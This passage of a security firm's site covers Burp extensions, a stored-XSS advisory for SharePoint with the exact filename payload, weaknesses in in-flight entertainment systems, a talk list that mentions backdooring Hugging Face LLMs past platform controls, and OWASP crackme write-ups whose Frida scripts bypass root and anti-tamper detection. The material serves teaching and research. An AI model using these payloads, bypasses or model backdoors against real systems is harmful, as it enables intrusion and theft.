scanning. Reports issues directly as normal scanner issues. No adjustable settings. **Usage**: run an active scan and the plugin checks will be performed in addition to the normal checks. ### J2EEScan Performs additional Java environment related checks during the scanning. Reports issues directly as normal scanner issues. No adjustable settings. **Usage**: run an active scan and plugin checks will be performed in addition to normal checks. ### Command Injection Attacker Performs a set of command injection checks during the scanning. Reports issues directly as normal scanner issues. Has a separate tab **SHELLING** in UI with settings. **Important note**: detection by default is based on Burp Collaborator DNS requests. If the scan is performed within an isolated environment - it is better to change the Feedback channel to time delay: ![](/files/-LytZe_fk9pnnKZ6v0v9) Keep the delay value based on the stability of the application response - it might cause more false positives if the delay is too small and the application response timeout is significant. Normally, 15s is OK. Explore the settings tabs to configure additional checks, if required (please note that enabling some additional checks can significantly increase the scanning time). **Usage**: run an active scan and plugin checks will be performed in addition to normal checks. ### Upload Scanner Performs a set of checks on the file upload request. Reports issues directly as normal scanner issues. Has a separate tab **Upload Scanner** in UI with settings. Explore the UI settings tab to configure additional checks, if required. Please note that enabling this plugin can significantly increase the scanning time for file upload requests. **Usage**: run an active scan and plugin checks will be performed in addition to normal checks. ## Detection (Advanced) ### Backslash Powered Scanner Performs additional checks during the scanning. Reports issues directly as normal scanner issues. Has a separate menu section **Backslash** in UI with settings. Comprehensive scan settings: ![](/files/-LytZi7yD6ckJ50hgQpt) **Usage**: run an active scan and plugin checks will be performed in addition to normal checks. **Post-Exploitation**: please note that this scanner often reveals only the possibility to reproduce some input validation issue, the exact impact should be checked with the investigation of the finding revealed by this scanner.\ For example, if possible string concatenation is revealed, it requires to check if this can be `SQL/NoSQL` injection, regex-based issue, formula injection or any other exploitable vulnerability. This scanner also can cause false-positives so consider the context of input (for example, nested JSON in url-encoded parameter can cause false positive JSON injection finding). ### Param Miner Performs on-demand hidden input flows discovery - such as `GET/POST/JSON` parameters, HTTP headers and cookie values. Uses relatively effective binary search algorithm for the processed input detection. Reports discovered inputs directly as normal scanner issues. Has a separate menu section **Param Miner** in UI with settings. Scan settings: ![](/files/-LytZqqubHAVRtSswJ9D) It is possible to use custom parameter wordlists and bruteforce mode. {% hint style="info" %} **Note**: do not enable auto-mine if not required, since it will try to mine parameters for every request. {% endhint %} **Usage**: select the request to investigate and select a required input flow discovery method from the right-click menu: ![](/files/-LytZuVZPJof-krous3v) The discovery status can be checked in the Extender output window for this extension. ### HTTP Request Smuggler Performs on-demand specific checks against HTTP Request Smuggling possibilities. Reports discovered inputs directly as normal scanner issues. Scan settings will appear when the on-demand run is selected: ![](/files/-Lyt_IkQ6VQT8j6S8QMX) **Usage**: select POST data-based request (POST/PUT/PATCH/etc) to run the scan from the right-click menu: ![](/files/-Lyt_OhBGXCyJu_8LyTO) Select required checks from the settings windows and start the scan. **Post-Exploitation**: please note that this scanner often reveals only the possibility to perform HTTP Request Smuggling attack, the exact impact should be checked with the investigation of the finding revealed by this scanner. ## Usability ### Logger++ Logs **every** request made through Burp Suite (including requests performed by extensions). Has a separate tab ***Logger++*** in UI with the interface and settings. Supports the logs export as CSV file (tab Options -> Export -> "Save full logs as CSV (slow)"). ### Wsdler Parses WSDL files and creates prepared SOAP requests. Has a separate tab ***Wsdler*** in UI with the interface. Run the parser through the right click on the request with WSDL file content. ### JS Link Finder Automatically parses JS files in search of additional links/endpoints in the defined application scope and adds it to the Burp Suite target mapping. ### Hackvertor Supports different types of decoding/encoding arbitrary request entities (including nested) on the fly. Has a separate tab **Hackvertor** in the UI with the interface and settings. Basic usage is to select the required encoding in Hackvertor tab, copy the tag and wrap it around the required request entity. After it can be processed with Repeater, Intruder, Scanner (through insertion point scanning), etc. Now supports even Python/JS scripting processing, which makes it very powerful encoding tool. ### Python Scripter Allows custom Python script processing for supported Burp Suite extender entities (like request/response). Can be used if some custom request/response processing is required on the fly and it cannot be done with implemented Burp Suite tools (for example, do not set `X-Forwarded-For` headers for all requests from Scanner). Uses Extender API to manipulate Burp Suite entities, so refer to API manual to discover the possible functionality. # CVE-2019-1262 - Stored XSS SharePoint 2013 SP1 ![](/files/-LpsejbyidS9R2LSQ50E) ## **Stored or Persistent XSS** *Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. (OWASP)* We talk about stored or persistent XSS when a web application allows user input to be stored in a data source, and does not properly sanitise the payloads, allowing possible XSS. Every time the payload is rendered in a web page, XSS is triggered, without the need of user interaction. Stored XSS is the most dangerous type of XSS and can lead to: * Hijacking user's browser (using for example the BeeF Framework) * Capturing sensitive information from users * Defacement * Drive-by download (malware download) * Phishing ### Description of CVE-2019-1262 Sharepoint 2013 SP1 allows users to upload files to the platform, but does not correctly sanitise the filename when the files are listed. An authenticated user that has the rights to upload files to the SharePoint platform, is able to exploit a Stored Cross Site Scripting vulnerability uploading a file with a crafted filename. The vulnerability is exploitable because the filename is directly reflected in the attribute `aria-label` of the HTML anchor tag `` and the single quotes are changed in double quotes, allowing the attacker to break-out of the `aria-label` attribute and add his/her own malicious payload. If we use the following filename: `' onmouseover=alert(1) ',` once the files are listed, our anchor tag will look like the following: ```markup ' onmouseover=alert(1) ' ``` We can see that the aria-label is empty, and the next event is coming from our file name, in this case `onmouseover` ### Steps to reproduce 1. Login to the SharePoint platform with an admin user, or a user that has the rights to upload files. 2. Create a file with the following filename: `' onmouseover=alert(1) '`. The payload must have the following format: `[SINGLE_QUOTE][SPACE][EVENT][=][JAVASCRIPT][SPACE][SINGLE_QUOTE]` 3. Upload the file through file upload page 4. Position the mouse on the filename to trigger the `onmouseover` event The complete security advisory can be found here ### How to fix it Microsoft released a patch on September 10th. ### SharePoint version tested * Sharepoint 2013 SP1 ### References * * * * * # InFlight Entertainment systems security: a brief analysis This blog post describes common threats that affect InFlight Entertainment (IFE) systems. Nowadays it is becoming more and more common for airlines to adopt IFE (In Flight Entertainment)/ IFC (In Flight Connectivity) solutions to β€œentertain” passengers, offer free movies, music, games, information about the flights (altitude, speed, temperature outside, temperature inside etc) and also the possibility to buy products or fast internet using common payment methods such as PayPal or credit cards. IFC solutions offer connectivity with the ground, between passengers, crew, pilots, and transform a normal aircraft in a β€œE-enabled” one. Users can register with their username and password and buy β€œinternet packets” to work, exchange emails, using IM (Instant Messaging) services while flying. But IFE are much more than a touch screen and video players. IFC are often the bridge between passengers, cabin crew and pilots. Personnel from the crew can login on the IFE systems to modify information about the flight, the weather at destination, the products that are available for sale during the flight, and chat with the passengers, in order to get requests and provide faster and more efficient support. Cameras can be mounted on the back and the front of the aircraft to offer a β€œpilot experience” to passengers especially during take-off and landing. An IFE system can be a very important factor for in-flight shopping, and surveys can be filled by passengers to improve the offered services. All these services are provided by a complete ecosystem that is well represented from the APEX (Airline Passenger Experience Association) 0415 reference document, describing "**minimum security requirements**, format constraints, workflow recommendations and a single unifying file format.”\[1] A possible representation of how an IFE/IFC is β€œembedded” in an aircraft to offer communications and services can be seen in the picture below ![](/files/-LptEHVp9oh6PfBFy6GG) Different wireless access points are distributed in the aircraft to guarantee complete coverage to the passengers. A central server is used to distribute content and offer connection between the departments. A more detailed representation can be the following: ![](/files/-LptEQV4TUQai90goSdu) The server is directly connected to the CMS (Content Management System), that is responsible to deliver content to the IFE. The CSP (Content Service Provider) delivers media and any other compatible content to the system, using standard encryption mechanism to protect copyright. Once the media ends on the IFE, it is completely decrypted and can be played/streamed by the users. The On-board server is the main target of our analysis, and it’s where the PII and user credentials are stored together with the decrypted media content. The server offers also e-commerce and advertising services. All the stakeholders can access the functionalities of the server, through different or unique interfaces. Although the IFE systems offer complete connection between passenger, crew, pilots and airports, they are completely separated from critical systems inside the aircraft. This does not mean that the IFE systems are allowed to be insecure. These systems carry out so much sensitive information that can attract the attention of malicious users: * Media protected by copyright. * Usernames and password of the users * Credit cards used to purchase goods, contents or faster connections * Personal information of the passengers * Name * Surname * Date of birth * Address * Email * Phone numbers * Device in use (in case of BYOD) * Private information shared by the passengers with the cabin crew: * Health problems * Allergies * Private messages shared between passengers * Internal IPs of other devices in the aircraft * Communication with the air traffic controllers The list can be expanded depending on the type of the IFE and how much interconnectivity is offered. So how could we attack an IFE system? IFE systems offer different entry point to a malicious actor, that could be exploited to gain more privileges and access to the information listed. In this blog post we only consider attacks carried from the following entry points: ![](/files/-LptEwZqgJOmZX0Cs9oH) * **Web panel** Every IFE offers the possibility to connect your own device, such as laptops, tablets or phone, and register an account via the website deployed on the web server. The web panel is exposed to every issue that affects web applications, such as the OWASP Top 10. * **Wi-Fi network** The wi-fi network allows users to connect their own devices to the network and get access to internet. * **Web sockets** Web sockets are mostly used to provide real time information about the flight, status of the devices (battery level, CPU level etc) * **USB port on the screen** The USB port on the seat’s screen is easily accessible by any customer on the aircraft and can be used to carry on fuzzing black-box testing. * **Debug port** The debug port is used to get information about the system and /or get access to the IFE for maintenance. It is marked as low risk, because is not accessible from the screen of the passengers but it is only accessible from the IFE servers. ### **Web server** Our research shows that the top vulnerabilities that affect the web portal can be categorised as the following. * **Authentication bypass** In most of the analysed IFE systems we were able to bypass the authentication, impersonating admin users. * **Cross-site scripting (stored, DOM based, reflected)** Input sanitisation is most of the time missing, and this will lead in XSS attacks. * **Username disclosure through error messages** Error messages show that a particular username exists or not in the system, helping the attacker in fine tuning brute force attacks. * **Unauthenticated endpoint that lead to customer info stealing** Not all the endpoints are protected from session validation checks. Many endpoints used to retrieve users’ info based on the username, were not protected and could be exploited through brute-force attacks, to retrieve info about passengers. * **Escalation of privileges (from user to crew member to maintenance)** Sessions are not properly validated, relying on client side validation. Admin usernames are always available and used by maintenance or crew members with higher privileges. * **Credit Card information disclosure** Credit cards stored in the system, can be used to purchase goods or internet connection. A user’s credit card could be used multiple times. Communication over websocket could leak credit card transactions**.** During our testing we were able to retrieve passengers' CC information and purchase history. * **User Private information disclosure (Name, surname, username, city, country, address, phone number for every passenger)** Passenger data could be retrieved without any form of authentication. Unprotected endpoint could be used to retrieve crew members and passenger’s private info * **Flight data manipulation** IFE systems offer information about the current flight, and enable the cabin crew to modify data such as: * Departure Airport * Arrival Airport * Number of passengers * Weather at destination * Routes Once the attacker is able to bypass authentication mechanisms and escalate his/her privileges to a cabin crew member, he/she can manipulate the data and impact the user experience, creating disorientation between passengers. ### **Wi-Fi network** * **No network isolation** Passively listening on the network, it is possible to receive and retrieve information about passengers and device installed in the aircraft ### **Websockets** * **Internal IP disclosure** The IFE systems are composed of different devices distributed around the plane. Every device communicates its status (battery level, CPU level, in use/not in use etc), as a keep-alive information. The problem is that every device communicates also its IP (ex. 10.X.X.X) and its MAC address, allowing attackers to expand their scope. ## Practical examples At DCODX we love to explore new technologies, and IFE systems are pretty interesting ones. Recently we analysed one of the new player in the market, and discovered few vulnerabilities, such as: * Authentication and Authorization bypass * Passenger information stealing * Plaintext information over the network #### Authentication and Authorization bypass During our test, we were able to bypass the login panel and access the IFE as a cabin crew member, without using any stolen credential. From the panel we were able to check the status of the devices (2), check statistics and modify the information about the flight shown to the passengers. One interesting feature was the possibility to shutdown the IFE and create a DoS for every passenger. ![](/files/-LzDIemTMt_8HY8hkdT3) #### **Internal IP disclosure** ![](/files/-LpxRQ0sX_3MuygGAoRu) ### **Conclusions** IFE/IFC are becoming more and more a standard part of aircrafts, and represent the connection between the passengers, the crew and the plane itself. Security standards for these type of systems must be pretty high, because, although most of the times they are not directly connected to critical aircraft assets, they contain passenger sensitive information, copyrighted content, financial data and flight information shown to the passengers. ### References \[1] \[2] # Talks, events and workshops Our past events, talks and workshops. ## [Application Security Architecture: What's Next](https://drive.google.com/file/d/1oYwTKWP65p1DxTmIZHgLflisjQTuycO3/view?usp=sharing) Delivered a keynote presentation at SAI RESET IT 2025 in Brussels πŸ‡§πŸ‡ͺ on the future of Application Security and Agentic AI. The talk looks at the past, the present and the future of how we build applications and how we integrate security, with a little twist at the end. **Davide Cioccia** **@**[**SAI RESET IT 2025**](https://www.sai.be/event/details/296/sai-reset-it-2025/) ## [Workshop | Hacking and Defending LLM Applications (OWASP LLM Top 10) ](https://events.pinetool.ai/3412/#sessions/111357?referrer%5Bpathname%5D=%2Fsessions\&referrer%5Bsearch%5D=\&referrer%5Btitle%5D=Sessions) Ready to hack and fix LLM applications? This workshop will take you through the OWASP LLM Top 10 via hands-on hacking labs. You will learn various techniques to exploit LLM applications vulnerabilities, and how to implement robust secure design patterns. Whether you are a builder or breaker of LLM applications this is for you! At the end of the day there will be an exciting attack-and- defense wargame. Plenty of learning and fun, guaranteed. **Davide Cioccia** **@Cyberwise Lithuania 2025** **@Bsides London 2025** **@BlackHat Europe Arsenal Lab 2025** ## [Backdooring LLMs on HuggingFace: Secure Coding Lessons](https://github.com/sectalks/sectalks/blob/master/talks/SIN0x02/Backdooring_LLMs_on_Hugging_Face_Secure_Coding_Lessons.pdf) **Davide Cioccia**\ **@ SecTalks Singapore 2025 (Singapore)** As open source large language models (LLMs) continue to gain traction, so too does the risk of supply chain attacks targeting platforms like Hugging Face. This talk explores the current threat landscape surrounding open source LLMs, focusing on how malicious actors can inject backdoors into models and associated code. We demonstrate practical techniques for bypassing Hugging Face’s existing security controls, revealing how seemingly benign models can conceal harmful behaviors. ## [GitArmor: Policy-as-Code for your GitHub environment](https://drive.google.com/file/d/1cx2ccv3ynQXHxtnlsjRWW1oqoAWhVpfC/view?usp=drive_link) **Davide Cioccia, Stefan Petrushevski** [**@ BlackHat Arsenal Asia 2025 (Singapore)** ](https://www.blackhat.com/asia-25/arsenal/schedule/index.html#gitarmor-policy-as-code-for-your-github-environment-44269) [**@ BlackHat Arsenal Asia 2024 (Singapore)** ](https://www.blackhat.com/asia-24/arsenal/schedule/index.html#gitarmor-policy-as-code-for-your-github-environment-37320) [**@ BlackHat Arsenal Europe 2024 (London)** ](https://www.blackhat.com/eu-24/arsenal/schedule/index.html#gitarmor-policy-as-code-for-your-github-environment-42200) GitArmor is an open source tool that intuitively transforms the security requirements and controls for your DevOps implementation into policies as code and enables you to run the checks against your GitHub environment.​ Here’s how GitArmor can be a game changer for you: 1. **Policy as Code** - Transform your DevOps platform security policies into GitArmor `yml` files. Stored centrally, these policies can be enforced with on-demand or periodic checks across your GitHub Organization, helping you pinpoint and prioritize areas for improvement. 2. **Security Assessments** - Perfect for Security Teams, GitArmor facilitates the reconnaissance phase of possible misconfigurations of the SCM environment. 3. **Dev Team Setup** - Ideal for startups, a small development team can utilize GitArmor along with the default policy to ensure their GitHub repositories and organization are securely configured. {% embed url="" %} ## [DevOps Meet Sec: Your Journey to Delivering Secure Code Fast](https://drive.google.com/file/d/1_Olok8oP0ZOM7Xdv-xQrinqHWZT6sIDx/view) **Davide Cioccia** **@ DevDays / DevPro Europe 2023 (Lithuania) online** **@ SECCON NL 2023 (Netherlands)** **@ TestCon Europe 2023 (Lithuania)** After spending the last 1 or 2 years getting your DevOps process right, here it comes the new security guy: "We need to move to DevSecOps". This talk wants to share my personal experience, challenges, and successes as DevSecOps Architect in implementing DevSecOps in different DevOps processes. The talk starts with the main question: "Where do we start?" to then moves to topics like IaC security, the policy as code, SAST, SCA, SBOM, Security Champions, CI/CD security, supply chain security, logging and monitoring, and DevSecOps maturity. Don't look at it as a list but as a mix of connected resources that will increase automation and reduce manual bottlenecks. At the end of the talk, attendees should already be able to picture their DevSecOps journey ahead. ## [OWASP Crackme Android solutions ](https://mas.owasp.org/crackmes/Android/) **Davide Cioccia** **@ OWASP MAS** We provided a set of solutions to exploit the OWASP MAS Android Crackle challenges using Ghidra and Frida. Read our writeups [here](/research/owasp-mstg-crackme-1-writeup-android) ## [Attacking and defending GraphQL applications: a hands-on approach](https://drive.google.com/file/d/1V7urfbRZLs5i4k1YbYUqCzq9xSk6PT2z/view?usp=share_link) **Davide Cioccia & Stefan Petrushevski** **@ DevSecCon Boston 2019** "Attacking and Defending GraphQL Applications: A Hands-On Approach" is a workshop that provides practical knowledge on securing GraphQL applications. Participants engage in hands-on activities to identify, exploit, and mitigate vulnerabilities in GraphQL APIs. The workshop covers attack vectors specific to GraphQL and teaches defensive techniques such as authentication, input validation, and rate limiting. ## [Squatm3gator: 360Β° Cybersquatting](https://drive.google.com/file/d/16RFzYWUNugAP39t2uz6KeqQCe0BaXDt3/view?usp=share_link) **Davide Cioccia & Stefan Petrushevski** **@ BlackHat Asia 2019** We presented a new tool to automate cybersquatting attacks and indentify available websites to use in phishing campaigns. The tool also allows you to monitor existing domains for expiration date and buy it as soon as it becomes available. And .... it is opensource {% embed url="" %} ## [Squatm3: cybersquatting made easy](https://www.dropbox.com/s/8r9t16s4x94iczu/blackhat-eu18-arsenal.pptx?dl=0) **Davide Cioccia & Stefan Petrushevski @ BlackHat Arsenal London 2018** We presented a CLI tool to exploit, detect and prevent cybersquatting attacks. The tool is designed to be fast and give a quick feedback to companies and pentesters. ## [Automation of MASVS with BDD](https://2018.open-security-summit.org/outcomes/tracks/misc/user-sessions/automating-masvs/) **Davide Cioccia @ Open Security Sammit London 2018** The session has been focused on creating BDD tests to automated the OWASP MSTG test cases, in order to integrate those tests in the CI/CD pipeline\* ## [Mobile BDD security tests on steroids](https://drive.google.com/file/d/1pVwctehhQsGserss-WSCPRvZTokHIXoP/view?usp=share_link) **Davide Cioccia @ OWASP AppSec USA 2018** This talk introduces a new process and practical solution that achieves this – automation of mobile security tests. We are using a combination of existing penetration testing frameworks (Drozer and Needle), UI automation, underlying system commands available in the mobile OS for execution of tests and describe (write) tests in BDD fashion. In this way, you can cover all kind of security tests, such as testing for not encrypted PII, input validation, cryptography, network security, SQL injection and so on! Basically, the goal is to translate MASVS (and its sister project MSTG) into automated BDD security tests and give pentesters more time to focus on "crazy stuff" ## [BDD Mobile security testing with OWASP MASVS, OWASP MSTG and Calabash](https://drive.google.com/file/d/1zHjcxXcYBQQOZN_Q7FoMwlPWvfAFWyra/view?usp=share_link) **Davide Cioccia @ OWASP AppSec Romania 2017** A novel approach on automating OWASP MASVS and MSTG via unit and integration tests using BDD. # OWASP MSTG Crackme 1 writeup (Android) by Davide Cioccia ![](/files/-MdGmS9-SHkUqdm1L_PV) ## Intro The Uncrackable Apps are a collection of mobile reverse engineering challenges made available by the creator of the OWASP Mobile Security Testing Guide to practice reverse engineering skills. Our mobile security researchers had some fun cracking the apps during one of our R\&D Friday afternoons. You can find more info regarding the challenges here: [CrackMe](https://github.com/OWASP/owasp-mstg/tree/master/Crackmes) ## Setup The following setup will be used to solve the challenges * Genymotion (x86 device) * Android API 29 - 10.0 * Objection * Frida * Ghidra * adb ## Run the application To install the application `adb install UnCrackable-Level1.apk` We should see the application in the list of apps ![](/files/-Mct3uB9yZykvaaX8GoH) When we run it, we notice that the app detects rooted devices at startup. We will see how this is implemented in the next phase. ### The application Any mobile security assessment has very standard initial steps, and one of them is certainly the reverse engineering of the application and the extraction of the source code. Extracting the source code of a native Android application can be achieved in different ways, but to speed up our process we can rely on MobSF which automates the usage of tools like `apktool` and `dex2jar`giving us different formats that we can download for further analysis. In case something fails, proceed manually using the tools mentioned above. Once extracted the source code will be structured as the following: ```haskell . β”œβ”€β”€ owasp β”‚ └── mstg β”‚ └── uncrackable1 β”‚ └── R.java └── sg └── vantagepoint β”œβ”€β”€ a β”‚ β”œβ”€β”€ a.java β”‚ β”œβ”€β”€ b.java β”‚ └── c.java └── uncrackable1 β”œβ”€β”€ MainActivity.java └── a.java 7 directories, 6 files ``` where the main code is located in the packages `sg.vantagepoint.a` and `sg.vantagepoint.uncrackable1` > Let's have a look The class `sg.vantagepoint.a.c` contains the logic to identify rooted devices. The class implements 3 different techniques that are reflected in the functions `a()`, `b()` and `c()` ![](/files/-Mct40-WBun_tmsufQf4) * `a()`: check whether the binary `su` is available in the PATH * `b()`: Fabric Crashlitics method * `c()`: checks for well-known binaries to root Android devices Now, we could bypass this root detection in a very easy way, just patching the functions to return always `True`, but the root detection does not influence our exploitation, because the app does not crash automatically, but only after the user click `OK`. So we ignore it for this challenge. > Now let's find our flag If we look at the class `sg.vantagepoint.uncrackable1.a`, we find the function that verifies whether the secret provided by the user is the same as the one stored in the code. ![](/files/-Mct48rCdATesCO4bMbX) Because the secret and the key are both stored in the code we can crack this app, by simply extracting the real key (using the function `sg.vantagepoint.uncrackable1.a.b()` and passing the two values to the decryption function located in `sg.vantagepoint.a.a.a(key, secret)`, that will return a `byte` array, that we will need to convert to a `String` ![](/files/-Mct4BsDo9GfQ6R2131U) ## Frida Frida is a "dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers", that can be used to perform runtime analysis of applications, especially mobile. The best way to start with it is via their website . In this writeup, we are not going into details on how to instrument the application, or run the Frida server on the device, but will limit the scope on the Frida API and how to use them to solve the Uncrackable challenge. What we want to do is: 1. Extract the real key from the string `8d127684cbc37c17616d806cf50473cc` 2. Base64 decode the encrypted secret `5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=` 3. Pass the two values above to the decryption function `sg.vantagepoint.a.a.a(key,secret)` and print out the secret as `String` Here is the script and the solution ```javascript setImmediate(function() { console.log("[*] Start"); Java.perform(function() { console.log("[*] Loading Base64 class") var b64Def = Java.use('android.util.Base64'); console.log("[*] Loading sg.vantagepoint.uncrackable1.a") var clazz_b = Java.use('sg.vantagepoint.uncrackable1.a'); console.log("[*] Loading sg.vantagepoint.a.a") var clazz = Java.use('sg.vantagepoint.a.a'); console.log("[*] Extracting the key ") var key = clazz_b.b("8d127684cbc37c17616d806cf50473cc") console.log("[*] Base64 decoding the secret ") var secret = b64Def.decode("5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=", 0) console.log("[*] Decrypting the secret with the extracted key") var buffer = clazz.a(key,secret) var result = "" for(var i = 0; i < buffer.length; ++i){ result+= (String.fromCharCode(buffer[i])); } console.log() console.log("****** SECRET ******") console.log(result) console.log("****** SECRET ******") console.log() }) console.log("[*] End"); }) ``` that we can run using the command `frida -U -l hook.js owasp.mstg.uncrackable1` and voilΓ , we have the secret printed in the console ![](/files/-Mct4U7JpYjezAAssxG4) The full script can be downloaded from our GitHub repo {% embed url="" %} # OWASP MSTG Crackme 2 writeup (Android) by Davide Cioccia ## The application To understand more about the application, we extract the source code from the APK and look into interesting classes. The structure of the app is the following ```haskell β”œβ”€β”€ owasp β”‚ └── mstg β”‚ └── uncrackable2 β”‚ └── R.java └── sg └── vantagepoint β”œβ”€β”€ a β”‚ β”œβ”€β”€ a.java β”‚ └── b.java └── uncrackable2 β”œβ”€β”€ CodeCheck.java └── MainActivity.java ``` As we can see, the structure is very similar to the previous challenge, but there is a new file `CodeCheck.java`. When we inspect the content of `MainActivity.java` we can see how the root detection is handled (same as in the previous challenge), and how the secret is checked. The function `verify` handles the secret checks {% code title="MainActivity.java" %} ```java public void verify(View view) { String str; String obj = ((EditText) findViewById(R.id.edit_text)).getText().toString(); AlertDialog create = new AlertDialog.Builder(this).create(); if (this.m.a(obj)) { create.setTitle("Success!"); str = "This is the correct secret."; } else { create.setTitle("Nope..."); str = "That's not it. Try again."; } create.setMessage(str); create.setButton(-3, "OK", new DialogInterface.OnClickListener() { /* class sg.vantagepoint.uncrackable2.MainActivity.AnonymousClass3 */ public void onClick(DialogInterface dialogInterface, int i) { dialogInterface.dismiss(); } }); create.show(); } ``` {% endcode %} where `this.m.a(obj)` is the function that will check whether the secret is the right one. ### Who is this.m? If we look right after the `MainActivity` class definition, we see ```java private CodeCheck m; static { System.loadLibrary("foo"); } ``` where the `CodeCheck` class declares a function that is implemented from the native library `foo`. ```java private native boolean bar(byte[] bArr); ``` So, our next step is to deep dive into the native module. ### CodeCheck native function To find the logic of the `bar` function we will: * rename the .apk in .zip * extract the native module `lib/libfoo.so` * reverse it using Ghidra ## Ghidra Analyze the `libfoo.so` ![](/files/-Mct7e52DI6mOhPgd5R4) Looking inside the binary we can identify the native function `Java_sg_vantagepoint_uncrackable2_CodeCheck_bar` that will check whether - the input string has 23 chars (`0x17`) - the string in input matches the secret using the `strncmp` function The secret is directly passed to the `strncmp` function, so we could ![](/files/-Mct7hJHciCEN9fJrapF) Now let's get to Frida, to see how we can intercept and read the inputs passed to the `strncmp` function used in `libfoo.so`. ## Frida Because we need to trigger the `strcmp` function, we need first to get rid of the root detection block. #### Root detection control bypass There are different ways of bypassing the root detection controls that will shut down the app once the OK button is clicked. A "dirty" way is to overload the `onClick` event of the OK button, to avoid that the application will call `System.exit(0)`. We can achieve this using the following Frida snippet ```javascript /* Dirty way of bypassing the root detection, avoiding the app to close. */ Java.perform(function() { console.log("[*] Hijacking the onClick button") var clazz_main = Java.use('sg.vantagepoint.uncrackable2.MainActivity$1') clazz_main.onClick.implementation = function () { console.log('onCLick() is replaced '); }; }); ``` Clicking OK will close the dialog, while the app will still run. {% hint style="info" %} Root detection: bypassed {% endhint %} ### **Exploit** The `strncmp` function has the following signature: ```cpp int strncmp(char *__s1,char *__s2,size_t __n) ``` and is used in our `Java_sg_vantagepoint_uncrackable2_CodeCheck_bar` function in this way ```cpp iVar1 = strncmp(__s1,(char *)&local_30,0x17); ``` where * `*__s1` is the text passed in input from the user * `(char *)&local_30` is the secret we are looking for * `0x17` is the length (23 bytes) To extract the secret we can read the inputs of the compare function and print them out when `*__s1` matches our string **`I want your secret asap`** The final script looks like ```javascript function extractSecret(){ /* To use this function, we need to pass in input an argument with 23 chars. We chose: I want your secret asap */ console.log() console.log('[*] ACTION NEEDED: Insert the string "I want your secret asap" as input') console.log() setTimeout(function(){ Interceptor.attach(Module.findExportByName('libfoo.so', 'strncmp'),{ onEnter: function(args){ if( Memory.readUtf8String(args[1]).length == 23 && Memory.readUtf8String(args[0]).includes("I want your secret asap")){ console.log() console.log() console.log("*******SECRET********") console.log(Memory.readUtf8String(args[1])) console.log("*******SECRET********") console.log() console.log() } }, onLeave: function(retval){ } }); },2000); } ``` Once we call the function via Frida, and insert our magic string, the secret will be printed in the console ![](/files/-Mct8MiqfNNVxI-8iBrM) and when we insert the new secret in the input field we see ![](/files/-Mct8QBhoPuMOib_cthR) The full script can be downloaded from our repo {% embed url="" %} # OWASP MSTG Crackme 3 writeup (Android) by Davide Cioccia ## The application The application has the same look as the others and the same message when root detection kicks in. ![](/files/-Mct8wZbF8TG_Iy-X8_t) Let's have a deeper look. As usual, we extract the source code from the APK and look into interesting classes. The main structure of the app is the following ```haskell β”œβ”€β”€ owasp β”‚ └── mstg β”‚ └── uncrackable3 β”‚ └── R.java └── sg └── vantagepoint β”œβ”€β”€ uncrackable3 β”‚ β”œβ”€β”€ BuildConfig.java β”‚ β”œβ”€β”€ CodeCheck.java β”‚ β”œβ”€β”€ MainActivity.java β”‚ └── R.java └── util β”œβ”€β”€ IntegrityCheck.java └── RootDetection.java ``` When we inspect the content of `MainActivity.java` we can quickly see that things are getting spicier and the root detection is not the only control anymore, but integrity checks are added to prevent code tampering. On line 101 we see ```java if (RootDetection.checkRoot1() || RootDetection.checkRoot2() || RootDetection.checkRoot3() || IntegrityCheck.isDebuggable(getApplicationContext()) || tampered != 0) { showDialog("Rooting or tampering detected."); } ``` where `tampered` is set to 31337 from the function `verifyLibs` when the native libraries are hooked or manipulated. When we try to hook the functions and instrument the application we can see the following message in the log files ``` 06-15 08:57:46.680 2817 2841 V UnCrackable3: Tampering detected! Terminating... --------- beginning of crash ``` and the app miserably crashes ### Native library The secret is still hidden in the same native library `libfoo.so` ```java private CodeCheck m; static { System.loadLibrary("foo"); } ``` that implements the `bar()` function ```java private native boolean bar(byte[] bArr); ``` We investigate further whether the native code changed. ### CodeCheck native function To find the logic of the `bar` function we will: * rename the .apk in .zip * extract the native module `lib/libfoo.so` * reverse it using Ghidra ## Ghidra Looking inside the binary we right away, see the native function `Java_sg_vantagepoint_uncrackable2_CodeCheck_bar` being exported and including few small changes from the previous challenge. ![](/files/-Mct90N_H-mLzG9hkHX9) In the new version: * the input string has 24 chars (line 27: `if (iVar2 == 0x18)`) * every character of the string inserted by the user is XORed with each character of the `xorkey` (`private static final String xorkey = "pizzapizzapizzapizzapizz";`) The specific instruction pseudocode looks like: ```c if (*(byte *)(iVar1 + uVar3) != (*(byte *)puVar4 ^ local_40[uVar3])) goto LAB_00013456; ``` If the chars do not match, function `LAB_00013456` is called and 0 is returned, making the check fail. Something to note is that this challenge includes a new function `Java_sg_vantagepoint_uncrackable3_MainActivity_init` that is the implementation of the `init(byte[] Array)` used to initialize the XOR key(`init(xorkey.getBytes());`) ![](/files/-Mct93Ca_PBDoJBVW8jU) ## Frida ### **Root detection bypass** Unfortunately (as expected) the script from the previous challenge does not work anymore, due to the more complex checks we mentioned above. On top of that, more checks are also implemented in the native library. When we try to bypass the root detection we receive the following stacktrace: ![](/files/-Mct98gX4C_JNqa3VPlO) We can see that a `goodbye()` function is defined in `libfoo.so` and is making the app crash. Using Ghidra we note that there is a new functionality able to detect whether `Frida` or `Xposed` are used. ![](/files/-Mct9DU9dsTohbe5PzmP) In case at least one is found, the app will exit calling the `goodbye()` function. To bypass all the controls we are going two use two different techniques: * overload of the `fgets` function to avoid file detection * overload of `System.exit(int)` to stop the app to close when clicking OK The script will look like the following: ```javascript function rootAndTamperingDetectionBypass(){ console.log("[*] Start removing root and tampering detection"); var System = Java.use('java.lang.System'); System.exit.implementation = function(var0) { console.log("Ciao bella, I'm sorry but today you are not exiting"); }; console.log("[*] fgets overloading to avoid Frida detection") var fgetsPtr = Module.findExportByName("libc.so", "fgets"); var fgets = new NativeFunction(fgetsPtr, 'pointer', ['pointer', 'int', 'pointer']); Interceptor.replace(fgetsPtr, new NativeCallback(function (buffer, size, fp) { var retval = fgets(buffer, size, fp); var bufstr = Memory.readUtf8String(buffer); if (bufstr.indexOf("frida") > -1) { 